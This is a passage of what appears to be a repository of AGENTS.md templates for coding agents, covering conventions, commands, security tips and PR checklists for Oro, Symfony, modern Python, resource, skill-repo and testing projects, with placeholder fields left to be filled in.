        | Bundle | `VendorNameBundle` | `AcmeCrmBundle` |
        | Entity | `PascalCase` | `CustomerOrder` |
        | Datagrid | `vendor-entity-grid` | `acme-orders-grid` |
        | Workflow | `vendor_entity_flow` | `acme_order_flow` |
        | API resource | `vendor_entity` | `acme_orders` |
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START patterns -->
        ## Oro-specific patterns
        
        ### Datagrids (datagrids.yml)
        ```yaml
        datagrids:
            acme-orders-grid:
                source:
                    type: orm
                    query:
                        select:
                            - o.id
                            - o.orderNumber
                        from:
                            - { table: Acme\Bundle\OrderBundle\Entity\Order, alias: o }
                columns:
                    orderNumber:
                        label: acme.order.order_number.label
                sorters:
                    columns:
                        orderNumber:
                            data_name: o.orderNumber
                filters:
                    columns:
                        orderNumber:
                            type: string
                            data_name: o.orderNumber
        ```
        
        ### Workflows (workflows.yml)
        ```yaml
        workflows:
            acme_order_flow:
                entity: Acme\Bundle\OrderBundle\Entity\Order
                entity_attribute: order
                start_step: draft
                steps:
                    draft:
                        allowed_transitions:
                            - submit
                    submitted:
                        allowed_transitions:
                            - approve
                            - reject
                transitions:
                    submit:
                        step_to: submitted
        ```
        
        ### ACL (acl.yml)
        ```yaml
        acl:
            acme_order_view:
                type: entity
                class: Acme\Bundle\OrderBundle\Entity\Order
                permission: VIEW
            acme_order_edit:
                type: entity
                class: Acme\Bundle\OrderBundle\Entity\Order
                permission: EDIT
        ```
        <!-- AGENTS-GENERATED:END patterns -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - **ACL**: Define permissions in `acl.yml`, check with `isGranted()`
        - **CSRF**: Oro handles automatically for forms
        - **API auth**: OAuth2 or WSSE authentication
        - **Input validation**: Use Symfony validators + Oro constraints
        - **Sensitive data**: Use Oro's `ConfigManager` for encrypted values
        - **SQL**: Always use Doctrine ORM/DBAL, never raw queries
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        {{CACHE_CHECKLIST_LINE}}
        {{PHPSTAN_CHECKLIST_LINE}}
        {{UNIT_TEST_CHECKLIST_LINE}}
        - [ ] Schema migrations are reversible
        - [ ] Data migrations use `DependentFixtureInterface` for ordering
        - [ ] Datagrids tested in browser
        - [ ] Workflows tested end-to-end
        - [ ] ACL permissions defined for new entities
        - [ ] Translation keys added to `messages.en.yml`
        - [ ] API resources documented with NelmioApiDocBundle annotations
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START messaging -->
        ## Message Queue patterns
        ```php
        // Async processor
        class ProcessOrderProcessor implements MessageProcessorInterface
        {
            public function process(MessageInterface $message, SessionInterface $session): string
            {
                $data = JSON::decode($message->getBody());
                // Process order...
                return self::ACK;
            }
        }
        
        // Producer usage
        $this->messageProducer->send(ProcessOrderTopic::NAME, ['orderId' => $order->getId()]);
        ```
        <!-- AGENTS-GENERATED:END messaging -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Oro Documentation: https://doc.oroinc.com
        - Backend Architecture: https://doc.oroinc.com/backend/architecture/
        - Datagrids: https://doc.oroinc.com/backend/entities/data-grids/
        - Workflows: https://doc.oroinc.com/backend/entities/workflows/
        - API: https://doc.oroinc.com/api/
        - Check existing bundles in `vendor/oro/` for patterns
        - Review root AGENTS.md for project-wide conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • oro-project.md 5.5 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{INSTALL_LINE}}
        {{PHP_VERSION_LINE}}
        {{ORO_VERSION_LINE}}
        {{DATABASE_LINE}}
        {{MESSAGE_QUEUE_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Directory structure
        ```
        bin/
          console              → Symfony console entry point
        config/
          bundles.php          → Registered bundles
          config.yml           → Main configuration
          config_dev.yml       → Development overrides
          config_prod.yml      → Production settings
          parameters.yml       → Environment parameters
          security.yml         → Security configuration
          oro/
            bundles.yml        → Oro bundle registration
        public/
          index.php            → Web entry point
          bundles/             → Bundle assets
        src/
          Acme/                → Custom bundles
            Bundle/
              MyBundle/
        var/
          cache/               → Cache files
          logs/                → Log files
          attachment/          → File attachments
        migrations/
          Schema/              → Doctrine schema migrations
          Data/                → Data migrations/fixtures
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{COMMANDS_TABLE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - **PSR-12** coding standard
        - Strict types: `declare(strict_types=1);`
        - Symfony best practices + Oro conventions
        - Bundle-based architecture for all custom code
        - Use Oro's config-based approach (YAML over annotations)
        - Dependency injection via `services.yml`
        
        ### Project structure rules
        | Type | Location | Purpose |
        |------|----------|---------|
        | Custom bundles | `src/Vendor/Bundle/` | All custom functionality |
        | Overrides | `config/` | Configuration overrides |
        | Migrations | `migrations/` | Application-level migrations |
        | Assets | `public/bundles/` | Compiled/copied assets |
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START oro-commands -->
        ## Oro CLI commands
        ```bash
        # Installation & setup
        bin/console oro:install                    # Full installation
        bin/console oro:platform:update           # Update after code changes
        
        # Cache management
        bin/console cache:clear                   # Clear cache
        bin/console oro:assets:install            # Install bundle assets
        bin/console oro:localization:dump         # Dump translations
        
        # Database & migrations
        bin/console doctrine:migrations:migrate   # Run migrations
        bin/console oro:migration:data:load       # Load data migrations
        
        # Message queue (required for Oro)
        bin/console oro:message-queue:consume     # Process queue
        bin/console oro:cron                      # Run cron jobs
        
        # Development
        bin/console debug:router                  # List routes
        bin/console debug:container               # Debug DI container
        ```
        <!-- AGENTS-GENERATED:END oro-commands -->
        
        <!-- AGENTS-GENERATED:START message-queue -->
        ## Message Queue
        Oro requires a running message queue consumer for:
        - Email sending
        - Search indexing
        - Workflow processing
        - Data import/export
        
        **Development:** Run `bin/console oro:message-queue:consume` in terminal
        **Production:** Use supervisor or systemd to keep consumer running
        <!-- AGENTS-GENERATED:END message-queue -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - **Parameters**: Use `parameters.yml` for sensitive values (not in git)
        - **OAuth2**: Configure for API authentication
        - **ACL**: Define permissions in bundle `acl.yml`
        - **HTTPS**: Enforce in production
        - **Secrets**: Use Symfony secrets for production credentials
        - **Session**: Configure secure session handling
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START deployment -->
        ## Deployment
        ```bash
        # Production deployment steps
        composer install --no-dev --optimize-autoloader
        bin/console cache:clear --env=prod
        bin/console oro:platform:update --env=prod --force
        bin/console oro:assets:install --env=prod
        bin/console assetic:dump --env=prod
        ```
        - Always run `oro:platform:update` after code changes
        - Restart message queue consumer after deployment
        - Warm up cache before switching to new release
        <!-- AGENTS-GENERATED:END deployment -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        {{CACHE_CHECKLIST_LINE}}
        {{PHPSTAN_CHECKLIST_LINE}}
        {{UNIT_TEST_CHECKLIST_LINE}}
        - [ ] Bundle registered in `config/oro/bundles.yml`
        - [ ] Migrations reversible and tested
        - [ ] Assets installed: `bin/console oro:assets:install`
        - [ ] Message queue tested with consumer running
        - [ ] ACL permissions defined for new entities
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Oro Documentation: https://doc.oroinc.com
        - Installation: https://doc.oroinc.com/backend/setup/
        - Backend Architecture: https://doc.oroinc.com/backend/architecture/
        - CLI Commands: `bin/console list oro`
        - Check `vendor/oro/` bundles for reference implementations
        - Review root AGENTS.md for project-wide conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • python-modern.md 6.1 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{PYTHON_VERSION_LINE}}
        {{PACKAGE_MANAGER_LINE}}
        {{VENV_LINE}}
        {{ENV_VARS_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Project configuration
        All tool config lives in `pyproject.toml` -- no `setup.cfg`, `setup.py`, `tox.ini`, or scattered config files.
        
        ```toml
        [project]                    # PEP 621 metadata
        [build-system]               # Build backend (hatchling, setuptools, flit, pdm)
        [tool.ruff]                  # Linting + formatting (replaces black, isort, flake8, pylint)
        [tool.ruff.lint]             # Lint rule selection
        [tool.mypy]                  # Static type checking
        [tool.pytest.ini_options]    # Test configuration
        [tool.coverage]              # Coverage settings
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        
        | Command | Purpose | ~Time |
        |---------|---------|-------|
        {{RUFF_CHECK_LINE}}
        {{RUFF_FORMAT_LINE}}
        {{MYPY_LINE}}
        {{PYTEST_LINE}}
        {{PYTEST_COV_LINE}}
        {{BUILD_LINE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        
        ### Ruff (linting + formatting)
        - Ruff replaces black, isort, flake8, pylint, pyflakes, pycodestyle in one tool
        - Format: `ruff format .` -- black-compatible, deterministic
        - Lint: `ruff check . --fix` -- auto-fix safe rules
        - Config in `pyproject.toml` under `[tool.ruff]`
        - Common rule sets: `E` (pycodestyle), `F` (pyflakes), `I` (isort), `UP` (pyupgrade), `B` (bugbear)
        
        ### Type hints (mypy)
        - All functions must have type annotations (parameters + return)
        - Use `mypy --strict` or configure strictness in `pyproject.toml`
        - Modern syntax: `str | None` not `Optional[str]`, `list[int]` not `List[int]`
        - Use `typing.TypeAlias` for complex types
        - Use `Protocol` for structural subtyping (duck typing with types)
        
        ### Naming conventions
        | Type | Convention | Example |
        |------|------------|---------|
        | Module | `snake_case` | `user_service.py` |
        | Class | `PascalCase` | `UserService` |
        | Function | `snake_case` | `get_user_by_id()` |
        | Constant | `UPPER_SNAKE_CASE` | `MAX_RETRIES` |
        | Type variable | `PascalCase` | `T = TypeVar("T")` |
        | Private | `_leading_underscore` | `_internal_helper()` |
        
        ### Docstrings
        - Google style preferred (compatible with Sphinx napoleon)
        - Required for all public modules, classes, functions
        - Include `Args:`, `Returns:`, `Raises:` sections
        
        ### Imports
        - Ruff handles import sorting (`I` rules) -- no separate isort needed
        - Group: stdlib, third-party, local (Ruff enforces this)
        - Prefer absolute imports; relative only within package internals
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START testing -->
        ## Testing (pytest)
        - Test files: `tests/` directory, files named `test_*.py`
        - Test functions: `test_<description>()` -- no class needed for simple tests
        - Fixtures: prefer `conftest.py` for shared fixtures
        - Parametrize: use `@pytest.mark.parametrize` for data-driven tests
        - Markers: `@pytest.mark.slow`, `@pytest.mark.integration` for selective runs
        - Coverage: `pytest --cov=src --cov-report=term-missing`
        - Assert style: plain `assert` (pytest rewrites for detailed output)
        <!-- AGENTS-GENERATED:END testing -->
        
        <!-- AGENTS-GENERATED:START dependency-management -->
        ## Dependency management
        
        ### uv (recommended)
        ```bash
        uv sync                     # Install deps from uv.lock
        uv add <package>            # Add dependency
        uv add --dev <package>      # Add dev dependency
        uv run pytest               # Run in managed venv
        ```
        
        ### poetry
        ```bash
        poetry install              # Install deps from poetry.lock
        poetry add <package>        # Add dependency
        poetry add --group dev <p>  # Add dev dependency
        poetry run pytest           # Run in managed venv
        ```
        
        ### pip (fallback)
        ```bash
        python -m venv .venv && source .venv/bin/activate
        pip install -e ".[dev]"     # Install with dev extras
        ```
        <!-- AGENTS-GENERATED:END dependency-management -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Validate and sanitize all user inputs
        - Use parameterized queries for database access (SQLAlchemy, asyncpg)
        - Never use dynamic code evaluation functions with untrusted data
        - Sensitive data: never log or expose in errors
        - File paths: validate and use `pathlib.Path` for all path operations
        - Subprocess: use list args, never `shell=True` with user input
        - Dependencies: pin versions in lockfile, audit with `pip-audit` or `safety`
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        - [ ] `ruff check .` passes (no lint errors)
        - [ ] `ruff format --check .` passes (formatting clean)
        - [ ] `mypy .` passes (no type errors)
        - [ ] `pytest` passes (all tests green)
        - [ ] New public functions have type hints and docstrings
        - [ ] No `# type: ignore` without explanation comment
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Python docs: https://docs.python.org
        - Ruff rules reference: https://docs.astral.sh/ruff/rules/
        - mypy cheat sheet: https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html
        - pytest docs: https://docs.pytest.org
        - Review existing patterns in this codebase
        - Check root AGENTS.md for project-wide conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • resources.md 3.5 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        - Resources are typically consumed by other parts of the application
        - Some resources may need preprocessing or compilation
        - Check build scripts for resource handling
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START types -->
        ## Resource types
        - **Templates**: HTML, email, or text templates
        - **Static assets**: Images, fonts, icons, stylesheets
        - **Configuration**: Default configs, schema files, fixtures
        - **Localization**: Translation files, locale data
        - **Data files**: JSON, YAML, CSV for static data
        <!-- AGENTS-GENERATED:END types -->
        
        <!-- AGENTS-GENERATED:START organization -->
        ## Organization conventions
        - Group resources by type: `templates/`, `images/`, `locales/`
        - Use consistent naming: lowercase, hyphens for spaces
        - Keep related resources together
        - Version large binary assets carefully (consider Git LFS)
        <!-- AGENTS-GENERATED:END organization -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - Use descriptive file names: `user-profile-template.html` not `template1.html`
        - Keep templates simple - logic belongs in code, not templates
        - Use consistent indentation in structured files (JSON, YAML, XML)
        - Document template variables and their expected values
        - Optimize images before committing (compress, resize)
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START templates -->
        ## Template best practices
        - Use clear placeholder syntax: `{{variable}}` or `${variable}`
        - Document all required variables in comments or README
        - Keep templates focused - one purpose per template
        - Use partials/includes for reusable components
        <!-- AGENTS-GENERATED:END templates -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Never store secrets in resource files
        - Validate all resource files that accept user input
        - Sanitize template variables to prevent injection
        - Review images/assets for embedded metadata (EXIF, etc.)
        - Use CSP-safe inline styles when applicable
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        - [ ] File names are descriptive and consistent
        - [ ] Images are optimized (compressed, correct size)
        - [ ] Templates have documented variables
        - [ ] No sensitive data in resources
        - [ ] Structured files are valid (JSON, YAML syntax)
        - [ ] Changes tested with consuming code
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Check how resources are consumed in the codebase
        - Look for build/preprocessing scripts
        - Review existing resources for patterns
        - Check root AGENTS.md for project conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • skill-repo.md 5.4 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        - **Plugin manifest**: `.claude-plugin/plugin.json` (name, version, skills array, author URL)
        - **Skills**: `skills/<name>/SKILL.md` — one per domain
        - **Licensing**: Split MIT (code) + CC-BY-SA-4.0 (content) — entity: `Netresearch DTT GmbH`
        - **CI**: Reusable workflows from `netresearch/skill-repo-skill` (`validate.yml`, `auto-merge-deps.yml`)
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Directory structure
        ```
        .claude-plugin/
          plugin.json            → Plugin manifest (name, version, skills, author)
        skills/
          <skill-name>/
            SKILL.md             → Skill definition (max 500 words)
            assets/              → Templates, scoped AGENTS.md templates
            scripts/             → Shell scripts (bash 4.3+, ShellCheck clean)
            references/          → Extended docs, golden samples, examples
            checkpoints/         → Checkpoint definitions (YAML)
        LICENSE-MIT              → MIT license for code
        LICENSE-CC-BY-SA-4.0     → CC-BY-SA-4.0 for content
        .github/
          workflows/
            lint.yml             → Calls skill-repo-skill validate.yml@main
            auto-merge-deps.yml  → Calls skill-repo-skill auto-merge-deps.yml@main
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{LINT_LINE}}
        {{VALIDATE_LINE}}
        {{SHELLCHECK_LINE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        
        ### SKILL.md rules
        - Max **500 words** — keep it focused and actionable
        - Use `references/` for extended documentation (no word limit)
        - Front matter: `name`, `description`, `license`, `compatibility`, `metadata`, `allowed-tools`
        - Instructions are FOR AGENTS, not humans — be prescriptive, not descriptive
        
        ### plugin.json rules
        - `version`: semver, bump on release
        - `author.url`: must be a valid URL
        - `skills[].name` must match directory name under `skills/`
        
        ### Shell scripts
        - Shebang: `#!/usr/bin/env bash`
        - `set -euo pipefail` at top
        - ShellCheck clean (no suppressions without justification)
        - Use `"$var"` quoting everywhere
        
        ### Templates
        - Use `{{PLACEHOLDER}}` syntax — whole-line placeholders only
        - Wrap auto-generated sections in `<!-- AGENTS-GENERATED:START name -->` / `<!-- AGENTS-GENERATED:END name -->`
        
        ### Licensing
        - Entity name: **Netresearch DTT GmbH** (never "Netresearch GmbH & Co. KG")
        - Code files (`.sh`, `.py`, `.json`): MIT
        - Content files (`.md`, `.yaml`): CC-BY-SA-4.0
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START checkpoints -->
        ## Checkpoints (verification)
        - `checkpoints.yaml` defines verifiable steps agents can run
        - Each checkpoint: `name`, `command`, `expected` (exit code or output pattern)
        - Agents run checkpoints after completing tasks to verify correctness
        - Keep checkpoints fast (<10s each)
        <!-- AGENTS-GENERATED:END checkpoints -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Never include secrets or credentials in skills
        - Validate all user inputs in scripts
        - Use placeholder values in examples: `your-api-key`, `example.com`
        - Review generated content for sensitive information
        - Shell scripts: quote all variables, avoid `eval` with user input
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START ci -->
        ## CI/CD
        - **Validate workflow**: Runs on PR — markdown lint, YAML lint, ShellCheck, plugin.json schema
        - **Auto-merge deps**: Merges Renovate/Dependabot PRs after CI passes
        - Config files (`.markdownlint-cli2.jsonc`, `.yamllint.yml`) are per-repo; validate.yml provides defaults if missing
        - **Releasing**: bump `plugin.json` version, create signed tag, push — release workflow handles the rest
        <!-- AGENTS-GENERATED:END ci -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        - [ ] SKILL.md is under 500 words
        - [ ] `plugin.json` version bumped if releasing
        - [ ] Shell scripts pass ShellCheck
        - [ ] Templates use whole-line `{{PLACEHOLDER}}` syntax
        - [ ] Golden samples exist for key patterns
        - [ ] Checkpoints are verifiable (fast, deterministic)
        - [ ] Entity name is "Netresearch DTT GmbH" in all license files
        - [ ] No trailing blank lines in YAML files
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Check existing skill repos for patterns (e.g., `agent-rules-skill`, `go-development-skill`)
        - Review `skill-repo-skill` for CI workflow definitions
        - Test skills locally with `claude --skill <name>`
        - Check root AGENTS.md for project conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • symfony.md 5.3 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{INSTALL_LINE}}
        {{PHP_VERSION_LINE}}
        {{SYMFONY_VERSION_LINE}}
        {{DATABASE_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Directory structure
        ```
        src/
          Controller/           → HTTP controllers
          Entity/               → Doctrine entities
          Repository/           → Doctrine repositories
          Service/              → Business logic services
          Form/                 → Form types
          EventSubscriber/      → Event subscribers
          Command/              → Console commands
          Security/             → Voters, authenticators
        config/
          packages/             → Bundle configuration
          routes/               → Routing configuration
          services.yaml         → Service definitions
        templates/              → Twig templates
        migrations/             → Doctrine migrations
        tests/                  → PHPUnit tests
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{COMMANDS_TABLE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - **PSR-12** coding standard with strict types
        - Use **constructor injection** for dependencies
        - Controllers are thin: delegate to services
        - Use **attributes** for routing, validation, ORM mapping
        - Services are autowired by default
        
        ### Naming conventions
        | Type | Convention | Example |
        |------|------------|---------|
        | Controller | `<Entity>Controller` | `UserController` |
        | Service | `<Domain>Service` or `<Domain>Manager` | `UserService` |
        | Repository | `<Entity>Repository` | `UserRepository` |
        | Form | `<Entity>Type` | `UserType` |
        | Event | `<Entity><Action>Event` | `UserCreatedEvent` |
        | Command | `app:<domain>:<action>` | `app:user:import` |
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START patterns -->
        ## Symfony-specific patterns
        
        ### Controller with form handling
        ```php
        #[Route('/user/new', name: 'user_new')]
        public function new(Request $request, EntityManagerInterface $em): Response
        {
            $user = new User();
            $form = $this->createForm(UserType::class, $user);
            $form->handleRequest($request);
        
            if ($form->isSubmitted() && $form->isValid()) {
                $em->persist($user);
                $em->flush();
                return $this->redirectToRoute('user_show', ['id' => $user->getId()]);
            }
        
            return $this->render('user/new.html.twig', ['form' => $form]);
        }
        ```
        
        ### Service with dependency injection
        ```php
        final class UserService
        {
            public function __construct(
                private readonly UserRepository $userRepository,
                private readonly EventDispatcherInterface $dispatcher,
            ) {}
        
            public function createUser(string $email): User
            {
                $user = new User($email);
                $this->userRepository->save($user, flush: true);
                $this->dispatcher->dispatch(new UserCreatedEvent($user));
                return $user;
            }
        }
        ```
        
        ### Custom console command
        ```php
        #[AsCommand(name: 'app:user:import', description: 'Import users from CSV')]
        final class ImportUsersCommand extends Command
        {
            protected function execute(InputInterface $input, OutputInterface $output): int
            {
                // Implementation
                return Command::SUCCESS;
            }
        }
        ```
        <!-- AGENTS-GENERATED:END patterns -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Use **Voters** for authorization logic, not inline checks
        - Store secrets in `.env.local` (never commit)
        - Use **CSRF tokens** for all forms
        - Enable **security headers** via NelmioSecurityBundle
        - Validate all input with Symfony Validator constraints
        - Use **parameterized queries** (Doctrine handles this)
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        {{PHPSTAN_CHECKLIST_LINE}}
        {{CS_CHECKLIST_LINE}}
        {{TEST_CHECKLIST_LINE}}
        - [ ] Migrations are reversible (`down()` method works)
        - [ ] New routes have proper security annotations
        - [ ] Services are properly autowired (no manual config needed)
        - [ ] Cache cleared: `bin/console cache:clear`
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Symfony docs: https://symfony.com/doc/current/
        - Best practices: https://symfony.com/doc/current/best_practices.html
        - Check existing controllers/services for patterns
        - Run `bin/console debug:router` to inspect routes
        - Run `bin/console debug:container` to inspect services
        - Review root AGENTS.md for project-wide conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • testing.md 3 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        - Install dev dependencies before running tests
        - Some tests may require additional setup (see individual test files)
        - Use the project's test framework consistently
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Running tests
        {{TEST_LINE}}
        {{TEST_SINGLE_LINE}}
